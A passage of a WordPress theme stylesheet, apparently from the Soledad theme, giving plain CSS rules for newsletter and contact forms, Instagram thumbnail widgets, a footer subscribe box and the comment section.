	font-size: 12px;
	line-height: 1.3;
	background: #fff;
	display: inline-block;
	padding: 12px 12px;
	min-width: 120px;
	text-align: center;
	color: #010101
}
.penci-promo-item img {
	width: 100%
}
.penci-list.penci-wpb {
	list-style: none;
	margin: 0;
	padding: 0
}
.penci-list.penci-wpb li {
	list-style: none
}
.penci-list.penci-wpb li a:hover {
	text-decoration: none
}
.footer-widget-wrapper .widget {
	margin-bottom: 30px
}
.footer-widget-wrapper .widget .widget-title {
	color: #313131;
	margin: 0 0 30px;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	position: relative;
	text-align: left;
	font-size: 16px;
	text-transform: uppercase;
	background: 0 0
}
.footer-widget-wrapper .widget .widget-title .inner-arrow {
	border-top: none;
	border-left: none;
	border-right: none;
	padding: 0 0 10px;
	background: 0 0;
	border-bottom: 3px solid #e0e0e0
}
.footer-widget-wrapper .widget .widget-title:after,
.footer-widget-wrapper .widget .widget-title:before {
	content: none
}
.mc4wp-form {
	max-width: 450px;
	width: 100%;
	margin: 0;
	text-align: center;
	margin-left: auto;
	margin-right: auto
}
.post-entry .mc4wp-form {
	margin-left: auto;
	margin-right: auto;
	margin-bottom: 17px
}
.mc4wp-form .mc4wp-form-fields>p,
.mc4wp-form>form>p {
	margin-bottom: 20px
}
.penci-mailchimp-s3 .footer-subscribe .mc4wp-form .memail {
	margin-bottom: 0
}
.mc4wp-form .mc4wp-form-fields>p:last-of-type,
.widget .mc4wp-form>form>p:last-of-type {
	margin-bottom: 0
}
.mc4wp-form input {
	border: 1px solid #dedede;
	border-radius: 0;
	-webkit-border-radius: 0;
	-moz-border-radius: 0;
	outline: 0;
	background: 0 0;
	display: block;
	font-size: 12px;
	line-height: 1;
	padding: 17px 20px;
	margin-bottom: 20px;
	letter-spacing: 0;
	font-family: var(--pcbody-font)
}
.mc4wp-form input:focus {
	background: #fff
}
.mc4wp-form input[type=date],
.mc4wp-form input[type=email],
.mc4wp-form input[type=number],
.mc4wp-form input[type=text] {
	width: 100%
}
.mc4wp-form input[type=checkbox] {
	display: inline-block;
	vertical-align: middle
}
.mc4wp-form input[type=submit] {
	display: block;
	width: 100%;
	font-size: 14px;
	padding: 18px 20px;
	text-transform: uppercase;
	color: #313131;
	margin: 0;
	cursor: pointer;
	border: none;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	background: #f5f5f5
}
.mc4wp-form input[type=submit]:hover {
	background: var(--pcaccent-cl);
	color: #fff
}
div.wpforms-container .wpforms-form.wpforms-form .wpforms-field:not(:last-child) {
	padding: 0 0 28px 0
}
div.wpforms-container .wpforms-form.wpforms-form .wpforms-field-label {
	color: #939393;
	font-size: 12px;
	display: block;
	font-family: var(--pchead-font);
	text-transform: uppercase;
	font-weight: var(--pchead-wei);
	margin-bottom: 8px
}
div.wpforms-container .wpforms-form.wpforms-form input[type=date],
div.wpforms-container .wpforms-form.wpforms-form input[type=datetime-local],
div.wpforms-container .wpforms-form.wpforms-form input[type=datetime],
div.wpforms-container .wpforms-form.wpforms-form input[type=email],
div.wpforms-container .wpforms-form.wpforms-form input[type=month],
div.wpforms-container .wpforms-form.wpforms-form input[type=number],
div.wpforms-container .wpforms-form.wpforms-form input[type=password],
div.wpforms-container .wpforms-form.wpforms-form input[type=range],
div.wpforms-container .wpforms-form.wpforms-form input[type=search],
div.wpforms-container .wpforms-form.wpforms-form input[type=tel],
div.wpforms-container .wpforms-form.wpforms-form input[type=text],
div.wpforms-container .wpforms-form.wpforms-form input[type=time],
div.wpforms-container .wpforms-form.wpforms-form input[type=url],
div.wpforms-container .wpforms-form.wpforms-form input[type=week],
div.wpforms-container .wpforms-form.wpforms-form select,
div.wpforms-container .wpforms-form.wpforms-form textarea {
	padding: 12px 20px;
	border: 1px solid #dedede;
	font-size: 12px;
	width: 100%;
	font-weight: 400;
	font-family: var(--pcbody-font);
	max-height: 50px;
	height: auto;
	background: 0 0
}
div.wpforms-container .wpforms-form .wpforms-field-label-inline {
	font-size: inherit;
	font-weight: inherit;
	line-height: 1.3
}
div.wpforms-container-full .wpforms-form label.wpforms-error {
	margin-top: 5px
}
div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button,
div.wpforms-container .wpforms-form.wpforms-form button[type=submit],
div.wpforms-container .wpforms-form.wpforms-form input[type=submit] {
	text-transform: uppercase;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	background: #f5f5f5;
	border-radius: 0;
	font-size: 14px;
	color: #313131;
	padding: 12px 20px;
	display: inline-block;
	-o-transition: .3s;
	-moz-transition: .3s;
	-webkit-transition: .3s;
	transition: .3s;
	cursor: pointer;
	width: auto;
	min-width: 120px;
	text-align: center;
	margin: 0;
	border: none
}
.mc4wp-form input[type=submit]:hover,
div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button:hover,
div.wpforms-container .wpforms-form.wpforms-form button[type=submit]:hover,
div.wpforms-container .wpforms-form.wpforms-form input[type=submit]:hover {
	color: #fff;
	border: none;
	background: var(--pcaccent-cl)
}
.footer-widget-wrapper .widget .jr-insta-thumb,
.penci-sidebar-content .widget .jr-insta-thumb {
	margin: -5px -5px 0 -5px
}
.footer-widget-wrapper .widget .jr-insta-thumb ul.thumbnails li,
.penci-sidebar-content .widget .jr-insta-thumb ul.thumbnails li {
	transition: opacity .2s;
	-webkit-transition: opacity .2s;
	-moz-transition: opacity .2s;
	margin: 0
}
.footer-widget-wrapper .widget .jr-insta-thumb ul.thumbnails li:hover,
.penci-sidebar-content .widget .jr-insta-thumb ul.thumbnails li:hover {
	opacity: .8
}
.footer-widget-wrapper .widget .jr-insta-thumb ul.thumbnails li img,
.penci-sidebar-content .widget .jr-insta-thumb ul.thumbnails li img {
	padding: 5px;
	width: 100%
}
.jr-insta-thumb ul.thumbnails li img {
	width: 100%
}
.widget .jr-insta-thumb ul.thumbnails {
	margin: 0
}
.widget .jr-insta-thumb ul.thumbnails.jr_col_2 li {
	width: 50% !important
}
.widget .jr-insta-thumb ul.thumbnails.jr_col_3 li {
	width: 33.3333% !important
}
.widget .jr-insta-thumb ul.thumbnails.jr_col_4 li {
	width: 25% !important
}
.widget .jr-insta-thumb ul.thumbnails.jr_col_5 li {
	width: 20% !important
}
.pllexislider .pllex-direction-nav {
	background: 0 0 !important;
	border-radius: 0 !important;
	-webkit-border-radius: 0 !important;
	-moz-border-radius: 0 !important
}
.pllexislider .pllex-direction-nav .pllex-next {
	margin-left: 1px
}
.pllexislider .pllex-direction-nav li a {
	width: 40px;
	height: 40px;
	line-height: 40px !important;
	background: rgba(0, 0, 0, .5);
	text-align: center
}
.pllexislider .pllex-direction-nav li {
	border: none !important
}
.pllexislider .pllex-direction-nav .pllex-next:before,
.pllexislider .pllex-direction-nav .pllex-prev:before {
	font-family: FontAwesome, sans-serif !important;
	padding: 0 !important;
	text-shadow: none !important;
	font-size: 22px !important
}
.penci-fawesome-ver5 .pllexislider .pllex-direction-nav .pllex-next:before,
.penci-fawesome-ver5 .pllexislider .pllex-direction-nav .pllex-prev:before {
	font-family: "Font Awesome 5 Free" !important;
	font-weight: 900
}
.pllexislider .pllex-direction-nav .pllex-next:before {
	content: "\f105" !important
}
.pllexislider .pllex-direction-nav .pllex-prev:before {
	content: "\f104" !important
}
.pllexislider-overlay ul li .jr-insta-wrap .jr-insta-datacontainer .jr-insta-caption {
	font-size: 12px !important;
	line-height: 1.5em !important;
	margin-top: 8px !important;
	margin-bottom: 0 !important
}
.pllexislider-overlay ul li .jr-insta-wrap .jr-insta-datacontainer {
	text-shadow: none !important;
	padding-top: 10px !important;
	padding-bottom: 10px !important
}
.penci-instaslider-normal .penci-insta-datacontainer {
	margin-top: 5px;
	margin-bottom: 5px;
	display: block
}
.penci-instaslider-normal .penci-insta-datacontainer .penci-insta-username {
	text-decoration: none;
	display: inline-block
}
.penci-instaslider-normal .penci-insta-datacontainer .penci-insta-time {
	float: right;
	display: inline-block;
	text-align: right;
	display: none
}
.penci-instaslider-normal .penci-insta-datacontainer .penci-insta-caption {
	line-height: normal;
	margin-top: 5px;
	margin-bottom: 5px;
	display: block;
	clear: both
}
.penci-instaslider-overlay a {
	color: #fff;
	text-decoration: none
}
.penci-instaslider-overlay .penci-insta-wrap {
	position: relative;
	color: #fff;
	line-height: normal
}
.penci-instaslider-overlay .penci-insta-wrap .penci-insta-datacontainer {
	opacity: 0;
	visibility: hidden;
	transition: all .3s;
	position: absolute;
	left: 0;
	bottom: 0;
	width: 100%;
	text-shadow: 0 0 5px rgba(0, 0, 0, .7);
	background: rgba(0, 0, 0, .4);
	padding: 5px 15px;
	-moz-box-sizing: border-box;
	-webkit-box-sizing: border-box;
	box-sizing: border-box
}
.penci-instaslider-overlay .penci-insta-info:hover .penci-insta-wrap .penci-insta-datacontainer {
	opacity: 1;
	visibility: visible
}
.penci-instaslider-overlay .penci-insta-wrap .penci-insta-datacontainer .penci-insta-username a {
	color: #fff !important;
	text-decoration: none;
	font-weight: 700
}
.penci-instaslider-overlay .penci-insta-wrap .penci-insta-datacontainer .penci-insta-time {
	float: right;
	text-align: right
}
.penci-instaslider-overlay .penci-insta-wrap .penci-insta-datacontainer .penci-insta-caption {
	line-height: normal;
	color: #fff;
	margin-top: 5px;
	margin-bottom: 5px;
	display: block
}
.penci-insta-thumb .penci-image-holder {
	border-radius: 0;
	-webkit-border-radius: 0
}
.penci-insta-thumb ul.thumbnails {
	list-style: none;
	font-size: 0;
	margin-left: -2.5%;
	padding: 0;
	margin-bottom: 0
}
.penci-insta-thumb ul.thumbnails.no-border {
	margin-left: 0
}
.penci-insta-thumb ul.thumbnails li {
	display: inline-block;
	padding: 0;
	margin: 0 0 2.5% 2.5%;
	background: 0 0;
	border: 0;
	vertical-align: top;
	box-shadow: none;
	box-sizing: border-box;
	-moz-box-sizing: border-box;
	-webkit-box-sizing: border-box
}
.penci-insta-thumb ul.thumbnails.no-border li {
	margin: 0
}
.penci-insta-thumb ul.thumbnails li img {
	max-width: 100% !important;
	height: auto !important;
	margin: 0 !important;
	border: 0 !important;
	vertical-align: top
}
.penci-insta-thumb ul.thumbnails li a {
	margin: 0;
	padding: 0;
	border: 0;
	font-size: 100%;
	font: inherit;
	vertical-align: baseline
}
.penci-insta-thumb ul.thumbnails.penci-inscol1 li {
	width: 97.5% !important
}
.penci-insta-thumb ul.thumbnails.penci-inscol2 li {
	width: 47.5% !important
}
.penci-insta-thumb ul.thumbnails.penci-inscol3 li {
	width: 30.83% !important
}
.penci-insta-thumb ul.thumbnails.penci-inscol4 li {
	width: 22.5% !important
}
.penci-insta-thumb ul.thumbnails.penci-inscol5 li {
	width: 17.5% !important
}
.penci-insta-thumb ul.thumbnails.penci-inscol6 li {
	width: 16.66% !important
}
.penci-insta-thumb ul.thumbnails.penci-inscol7 li {
	width: 14.28% !important
}
.penci-insta-thumb ul.thumbnails.penci-inscol8 li {
	width: 12.5% !important
}
.penci-insta-thumb ul.thumbnails.penci-inscol9 li {
	width: 11.11% !important
}
.penci-insta-thumb ul.thumbnails.penci-inscol10 li {
	width: 10% !important
}
.penci-insta-thumb ul.thumbnails.no-border.penci-inscol1 li {
	width: 100% !important
}
.penci-insta-thumb ul.thumbnails.no-border.penci-inscol2 li {
	width: 50% !important
}
.penci-insta-thumb ul.thumbnails.no-border.penci-inscol3 li {
	width: 33.33% !important
}
.penci-insta-thumb ul.thumbnails.no-border.penci-inscol4 li {
	width: 25% !important
}
.penci-insta-thumb ul.thumbnails.no-border.penci-inscol5 li {
	width: 20% !important
}
.penci-insta-thumb ul.thumbnails.no-border.penci-inscol6 li {
	width: 16.66% !important
}
.penci-insta-thumb ul.thumbnails.no-border.penci-inscol7 li {
	width: 14.28% !important
}
.penci-insta-thumb ul.thumbnails.no-border.penci-inscol8 li {
	width: 12.5% !important
}
.penci-insta-thumb ul.thumbnails.no-border.penci-inscol9 li {
	width: 11.11% !important
}
.penci-insta-thumb ul.thumbnails.no-border.penci-inscol10 li {
	width: 10% !important
}
.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol1 li {
	width: 100% !important
}
.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol6 li {
	width: 16.66% !important
}
.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol7 li {
	width: 14.28% !important
}
.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol8 li {
	width: 12.5% !important
}
.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol9 li {
	width: 11.11% !important
}
.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol10 li {
	width: 10% !important
}
.penci-insta-thumb .penci-image-holder:before {
	padding-top: 100%
}
@media all and (max-width:640px) {
	.penci-insta-thumb ul.thumbnails.penci-inscol3 li,
	.penci-insta-thumb ul.thumbnails.penci-inscol4 li,
	.penci-insta-thumb ul.thumbnails.penci-inscol5 li,
	.penci-insta-thumb ul.thumbnails.penci-inscol6 li {
		width: 47.5% !important
	}
	.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol6 li {
		width: 33.3333% !important
	}
	.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol10 li,
	.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol7 li,
	.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol8 li,
	.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol9 li {
		width: 25% !important
	}
	.penci-insta-thumb ul.thumbnails.penci-inscol10 li,
	.penci-insta-thumb ul.thumbnails.penci-inscol7 li,
	.penci-insta-thumb ul.thumbnails.penci-inscol8 li,
	.penci-insta-thumb ul.thumbnails.penci-inscol9 li {
		width: 22.5% !important
	}
	.penci-insta-thumb ul.thumbnails.no-border.penci-inscol3 li,
	.penci-insta-thumb ul.thumbnails.no-border.penci-inscol4 li,
	.penci-insta-thumb ul.thumbnails.no-border.penci-inscol5 li,
	.penci-insta-thumb ul.thumbnails.no-border.penci-inscol6 li {
		width: 50% !important
	}
	.penci-insta-thumb ul.thumbnails.no-border.penci-inscol10 li,
	.penci-insta-thumb ul.thumbnails.no-border.penci-inscol7 li,
	.penci-insta-thumb ul.thumbnails.no-border.penci-inscol8 li,
	.penci-insta-thumb ul.thumbnails.no-border.penci-inscol9 li {
		width: 25% !important
	}
}
@media all and (max-width:480px) {
	.penci-insta-thumb ul.thumbnails li {
		width: 100% !important
	}
}
.footer-widget-wrapper .widget .penci-insta-thumb,
.penci-sidebar-content .widget .penci-insta-thumb,
.penci_instagram_widget-sc .penci-insta-thumb {
	margin: -5px -5px 0 -5px
}
.penci_instagram_widget-sc.penci_insta-thumbs-no-border .penci-insta-thumb {
	margin: 0
}
.footer-widget-wrapper .widget .penci-insta-thumb ul.thumbnails li,
.penci-sidebar-content .widget .penci-insta-thumb ul.thumbnails li,
.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails li {
	transition: opacity .2s;
	-webkit-transition: opacity .2s;
	-moz-transition: opacity .2s;
	margin: 0
}
.footer-widget-wrapper .widget .penci-insta-thumb ul.thumbnails li:hover,
.penci-sidebar-content .widget .penci-insta-thumb ul.thumbnails li:hover,
.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails li:hover {
	opacity: .8
}
.footer-widget-wrapper .widget .penci-insta-thumb ul.thumbnails li a,
.penci-sidebar-content .widget .penci-insta-thumb ul.thumbnails li a,
.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails li a {
	padding: 5px;
	width: 100%
}
.penci_instagram_widget-sc.penci_insta-thumbs-no-border .penci-insta-thumb ul.thumbnails li a {
	padding: 0
}
.penci-insta-thumb ul.thumbnails li img {
	width: 100%
}
.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails,
.widget .penci-insta-thumb ul.thumbnails {
	margin: 0
}
.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol2 li,
.widget .penci-insta-thumb ul.thumbnails.penci-inscol2 li {
	width: 50% !important
}
.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol3 li,
.widget .penci-insta-thumb ul.thumbnails.penci-inscol3 li {
	width: 33.3333% !important
}
.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol4 li,
.widget .penci-insta-thumb ul.thumbnails.penci-inscol4 li {
	width: 25% !important
}
.penci_instagram_widget-sc .penci-insta-thumb ul.thumbnails.penci-inscol5 li,
.widget .penci-insta-thumb ul.thumbnails.penci-inscol5 li {
	width: 20% !important
}
.penci-instaslider-overlay .penci-insta-wrap .penci-insta-datacontainer .penci-insta-caption {
	font-size: 12px !important;
	line-height: 1.5em !important;
	margin-top: 8px !important;
	margin-bottom: 0 !important
}
.penci-instaslider-overlay .penci-insta-wrap .penci-insta-datacontainer {
	text-shadow: none !important;
	padding-top: 10px !important;
	padding-bottom: 10px !important
}
.footer-subscribe {
	text-align: center;
	padding: 50px 0 40px;
	background-color: #f7f7f7
}
.footer-subscribe h4.footer-subscribe-title {
	font-size: 32px;
	letter-spacing: 0;
	text-transform: none;
	margin-bottom: 10px;
	line-height: 1.3
}
.footer-subscribe .mc4wp-form {
	max-width: 540px;
	margin: 0 auto
}
.footer-subscribe .mc4wp-form-fields:after,
.footer-subscribe .mc4wp-form-fields:before,
.footer-subscribe .mc4wp-form:after,
.footer-subscribe .mc4wp-form:before {
	content: "";
	display: table;
	clear: both
}
.footer-subscribe .mc4wp-form .mdes {
	color: #5c5c5e;
	font-size: 18px;
	font-style: italic;
	line-height: 1.5;
	width: 740px;
	display: block;
	clear: both;
	margin-bottom: 23px;
	margin-left: -100px
}
.footer-subscribe .mc4wp-form .mname {
	display: none
}
.footer-subscribe .mc4wp-form .memail {
	display: inline-block;
	float: left;
	width: 390px
}
.footer-subscribe .mc4wp-form .msubmit {
	display: inline-block;
	float: left;
	width: 140px;
	margin-left: 10px
}
.mc4wp-response {
	clear: both;
	color: #5c5c5e
}
.mc4wp-response p {
	line-height: 1.4;
	color: #5c5c5e
}
.footer-subscribe .widget .mc4wp-form input[type=email],
.footer-subscribe .widget .mc4wp-form input[type=text] {
	background: 0 0;
	border-radius: 0;
	border-color: #d7d7da;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	padding-top: 0;
	padding-bottom: 0;
	height: 48px;
	line-height: 48px;
	font-size: 14px;
	margin: 0;
	color: #313131
}
.footer-subscribe input[type=email]::-webkit-input-placeholder {
	color: #313131
}
.footer-subscribe input[type=email]:-moz-placeholder {
	color: #313131;
	opacity: 1
}
.footer-subscribe input[type=email]::-moz-placeholder {
	color: #313131;
	opacity: 1
}
.footer-subscribe input[type=email]:-ms-input-placeholder {
	color: #313131
}
.footer-subscribe input[type=email]::-ms-input-placeholder {
	color: #313131
}
.footer-subscribe input[type=text]::-webkit-input-placeholder {
	color: #313131
}
.footer-subscribe input[type=text]:-moz-placeholder {
	color: #313131;
	opacity: 1
}
.footer-subscribe input[type=text]::-moz-placeholder {
	color: #313131;
	opacity: 1
}
.footer-subscribe input[type=text]:-ms-input-placeholder {
	color: #313131
}
.footer-subscribe input[type=text]::-ms-input-placeholder {
	color: #313131
}
.footer-subscribe .widget .mc4wp-form input[type=email]:focus,
.footer-subscribe .widget .mc4wp-form input[type=email]:hover,
.footer-subscribe .widget .mc4wp-form input[type=text]:focus,
.footer-subscribe .widget .mc4wp-form input[type=text]:hover {
	border-color: #888
}
.footer-subscribe .widget .mc4wp-form input[type=submit] {
	background: #313131;
	border-radius: 0;
	color: #fff;
	padding-top: 0;
	padding-bottom: 0;
	height: 48px;
	line-height: 48px;
	padding: 0;
	text-align: center
}
.footer-subscribe .widget .mc4wp-form input[type=submit]:hover {
	background: var(--pcaccent-cl)
}
.footer-instagram {
	width: 100%;
	clear: both;
	display: block;
	position: relative
}
.footer-instagram .widget {
	margin: 0
}
.footer-instagram h4.footer-instagram-title {
	position: relative;
	white-space: nowrap;
	margin: 0;
	width: 100%;
	color: #313131;
	text-align: center;
	padding: 12px 0;
	border-top: 1px solid #ececec
}
.footer-instagram.penci-top-instagram h4.footer-instagram-title {
	border-top: none
}
.footer-instagram h4.footer-instagram-title span {
	display: inline-block;
	position: relative;
	padding: 0;
	background: inherit;
	color: inherit;
	text-transform: uppercase;
	font-size: 16px;
	z-index: 20;
	vertical-align: top
}
.footer-instagram h4.footer-instagram-title span.title {
	padding: 0;
	background: 0 0;
	position: relative;
	z-index: 10
}
.footer-instagram h4.footer-instagram-title>span:before {
	content: "\f16d";
	font-family: FontAwesome;
	font-size: 16px;
	color: inherit;
	margin-right: 8px;
	display: inline-block;
	vertical-align: middle;
	letter-spacing: 0;
	margin-bottom: 3px
}
.penci-fawesome-ver5 .footer-instagram h4.footer-instagram-title>span:before {
	font-family: "Font Awesome 5 Brands" !important;
	font-weight: 900
}
.footer-instagram .jr-insta-thumb {
	position: relative;
	z-index: 1
}
.footer-instagram .jr-insta-thumb ul.thumbnails li {
	transition: opacity .2s;
	-webkit-transition: opacity .2s;
	-moz-transition: opacity .2s
}
.footer-instagram .jr-insta-thumb ul.thumbnails li:hover {
	opacity: .9
}
.jr-insta-thumb ul.thumbnails li a {
	position: relative;
	display: inline-block;
	vertical-align: top !important;
	width: 100%
}
.jr-insta-thumb ul.thumbnails li a:after,
.jr-insta-thumb ul.thumbnails li a:before {
	position: absolute;
	left: 10px;
	right: 10px;
	top: 10px;
	bottom: 10px;
	content: "";
	opacity: 0;
	-webkit-transition: opacity .35s, -webkit-transform .35s;
	transition: opacity .35s, transform .35s
}
.footer-instagram .jr-insta-thumb ul.thumbnails li a:after,
.footer-instagram .jr-insta-thumb ul.thumbnails li a:before {
	top: 5px;
	right: 5px;
	bottom: 5px;
	left: 5px
}
.penci-insta-thumb ul.thumbnails li a {
	position: relative;
	display: inline-block;
	vertical-align: top !important;
	width: 100%
}
.penci-insta-thumb ul.thumbnails li a:after,
.penci-insta-thumb ul.thumbnails li a:before {
	position: absolute;
	left: 10px;
	right: 10px;
	top: 10px;
	bottom: 10px;
	content: "";
	opacity: 0;
	z-index: 10;
	-webkit-transition: opacity .35s, -webkit-transform .35s;
	transition: opacity .35s, transform .35s
}
.footer-instagram .penci-insta-thumb ul.thumbnails li a:after,
.footer-instagram .penci-insta-thumb ul.thumbnails li a:before {
	top: 5px;
	right: 5px;
	bottom: 5px;
	left: 5px
}
.penci-insta-thumb ul.thumbnails li a:before {
	border-top: 1px solid #fff;
	border-bottom: 1px solid #fff;
	-webkit-transform: scale(0, 1);
	transform: scale(0, 1)
}
.penci-insta-thumb ul.thumbnails li a:after {
	border-right: 1px solid #fff;
	border-left: 1px solid #fff;
	-webkit-transform: scale(1, 0);
	transform: scale(1, 0)
}
.penci-insta-thumb ul.thumbnails li a:hover:after,
.penci-insta-thumb ul.thumbnails li a:hover:before {
	opacity: 1;
	-webkit-transform: scale(1);
	transform: scale(1)
}
.jr-insta-thumb ul.thumbnails li a:before {
	border-top: 1px solid #fff;
	border-bottom: 1px solid #fff;
	-webkit-transform: scale(0, 1);
	transform: scale(0, 1)
}
.jr-insta-thumb ul.thumbnails li a:after {
	border-right: 1px solid #fff;
	border-left: 1px solid #fff;
	-webkit-transform: scale(1, 0);
	transform: scale(1, 0)
}
.jr-insta-thumb ul.thumbnails li a:hover:after,
.jr-insta-thumb ul.thumbnails li a:hover:before {
	opacity: 1;
	-webkit-transform: scale(1);
	transform: scale(1)
}
.footer-instagram.penci-insta-title-overlay h4.footer-instagram-title {
	position: absolute;
	top: 50%;
	margin-top: -25px;
	padding: 0;
	border: none
}
.footer-instagram.penci-insta-title-overlay h4.footer-instagram-title>span {
	display: inline-block;
	line-height: 50px;
	padding: 0 20px;
	background: #fff
}
.footer-instagram.penci-insta-title-overlay h4.footer-instagram-title>span,
.footer-instagram.penci-insta-title-overlay h4.footer-instagram-title>span>span {
	font-size: 13px
}
.footer-instagram.penci-insta-title-overlay h4.footer-instagram-title>span:before {
	font-size: 15px;
	margin-bottom: 0
}
form#commentform>div.penci-gdpr-message {
	line-height: 1.5;
	margin: -4px 0 15px;
	font-size: 14px;
	color: #777
}
.post-comments .post-title-box {
	border-top: 1px solid #dedede;
	padding-top: 36px
}
body.single-portfolio .post-comments .post-title-box {
	border-top: none
}
h3.comment-reply-title {
	padding-top: 36px !important;
	border-top: 1px solid #dedede
}
.comments .comment {
	border-top: 1px solid #dedede
}
.comments .comment>.comment:first-child,
.comments>.comment:first-child {
	border-top: none
}
.thecomment {
	padding-top: 28px;
	padding-bottom: 21px;
	display: table;
	width: 100%
}
.comments>.comment:first-child>.thecomment {
	padding-top: 0
}
.thecomment .author-img {
	float: left;
	margin-right: 20px;
	width: 60px
}
.thecomment .author-img img {
	margin: 0;
	width: 100%
}
.thecomment .comment-text {
	margin-left: 80px;
	position: relative
}
.thecomment .comment-text span.author,
.thecomment .comment-text span.author a {
	display: block;
	font-size: 13px;
	text-transform: uppercase;
	color: #313131;
	margin-bottom: 11px;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei)
}
.thecomment .comment-text span.author a {
	display: inline-block;
	margin: 0
}
.thecomment .comment-text span.author a:hover {
	color: #9e9e9e
}
.thecomment .comment-text span.date {
	font-size: 12px;
	color: #888;
	display: block
}
.thecomment .comment-text span.date i {
	margin-right: 5px
}
.thecomment .comment-text>em {
	font-size: 12px;
	display: block;
	color: orange;
	margin: 5px 0 0
}
.thecomment .comment-text>em i {
	font-size: 14px;
	color: #f3bd00
}
.thecomment .comment-content {
	margin-top: 15px;
	margin-bottom: 0
}
.thecomment .comment-text span.reply {
	position: absolute;
	top: 0;
	right: 0
}
.post-comments span.reply a {
	font-size: 11px;
	color: #888;
	margin-left: 18px;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	-o-transition: .3s;
	-moz-transition: .3s;
	-webkit-transition: .3s;
	transition: .3s;
	text-transform: uppercase;
	line-height: 1;
	display: inline-block;
	text-align: center
}
.post-comments span.reply a:hover {
	color: #313131
}
.comments .children,
.comments>.comment>.comment,
.comments>.comment>.comment>.comment,
.comments>.comment>.comment>.comment>.comment,
.comments>.comment>.comment>.comment>.comment>.comment {
	margin: 0 0 0 60px
}
@media only screen and (max-width:767px) {
	.comment-respond .comment-reply-title small {
		display: block;
		margin-top: 15px
	}
}
#respond {
	overflow: hidden;
	margin-bottom: 40px;
	position: relative
}
.no-comment-yet #respond {
	padding-top: 0;
	border-top: 0
}
#respond h3 {
	font-size: 14px;
	color: #939393;
	font-weight: 500;
	margin-bottom: 30px;
	font-family: var(--pchead-font);
	text-transform: uppercase
}
#respond h3 a {
	color: #000;
	display: inline-block
}
#respond h3 small a {
	text-transform: uppercase;
	font-size: 12px;
	color: #888;
	padding: 0;
	margin-left: 7px;
	letter-spacing: 0;
	-o-transition: .3s;
	-ms-transition: .3s;
	-moz-transition: .3s;
	-webkit-transition: .3s;
	transition: .3s;
	font-weight: 500;
	position: absolute;
	right: 0
}
#respond h3 small a:hover {
	color: #313131
}
form.wpcf7-form {
	margin-left: -14px;
	margin-right: -14px
}
#respond form#commentform {
	margin: 0
}
#respond form#commentform>iframe.jetpack_remote_comment {
	max-width: calc(100% - 1px)
}
.mc4wp-form label {
	text-align: left;
	margin-bottom: 10px;
	display: block
}
#respond p.comment-form-author,
#respond p.comment-form-email,
#respond p.comment-form-url,
.wpcf7 p.email,
.wpcf7 p.name,
.wpcf7 p.subject {
	width: 33.333333%;
	padding: 0 14px;
	float: left;
	display: inline-block;
	margin: 0
}
#respond p.comment-form-author,
#respond p.comment-form-email,
#respond p.comment-form-url {
	width: 32%;
	margin-left: 2%;
	padding: 0
}
.wpcf7 .ajax-loader {
	display: none
}
.wpcf7 form.submitting .ajax-loader {
	display: inline-block
}
#respond p.comment-form-author {
	margin-left: 0
}
#respond #add_comment_rating_wrap,
#respond .review-title-form,
#respond p.comment-form-comment {
	clear: both;
	margin: 0
}
#respond #add_comment_rating_wrap {
	position: relative;
	font-size: 12px;
	display: block;
	margin-bottom: 20px
}
#add_comment_rating_wrap i {
	color: #ffb900
}
#add_post_rating {
	position: absolute;
	bottom: 0;
	right: 0;
	visibility: hidden
}
.wpcf7 p.message {
	clear: both;
	margin: 0 14px
}
form#commentform>div,
form#commentform>input,
form#commentform>label,
form#commentform>p,
form#commentform>span,
form#commentform>textarea,
form.comment-form>div,
form.comment-form>input,
form.comment-form>label,
form.comment-form>p,
form.comment-form>span,
form.comment-form>textarea,
form.wpcf7-form>div,
form.wpcf7-form>input,
form.wpcf7-form>label,
form.wpcf7-form>p,
form.wpcf7-form>span,
form.wpcf7-form>textarea {
	margin: 0 14px
}
form#commentform>input[type=checkbox] {
	margin-left: 14px !important;
	margin-right: 14px !important
}
form.wpcf7-form>div.wpcf7-response-output {
	margin-left: 14px;
	margin-right: 14px
}
form#commentform>p.comment-form-mailpoet,
form#commentform>p.mc4wp-checkbox {
	margin-left: 0
}
.captchaSizeDivLarge {
	clear: both
}
label#captcha_code_label {
	display: inline-block
}
form#commentform>p.comment-subscription-form {
	margin-top: 15px;
	margin-left: 0;
	line-height: 1.3
}
form#commentform>p.comment-subscription-form:last-child {
	margin-top: 5px
}
form#commentform>p.comment-subscription-form input[type=checkbox] {
	margin: 0;
	vertical-align: top
}
#respond p.comment-subscription-form label {
	vertical-align: top
}
form#commentform p.comment-subscription-form label,
form#commentform p.mc4wp-checkbox label {
	font-family: inherit;
	font-size: inherit;
	text-transform: inherit;
	letter-spacing: inherit;
	font-weight: inherit;
	color: #777
}
#respond label,
.wpcf7 label {
	color: #939393;
	font-size: 12px;
	display: block;
	font-family: var(--pchead-font);
	text-transform: none;
	font-weight: var(--pchead-wei);
	margin-bottom: 8px
}
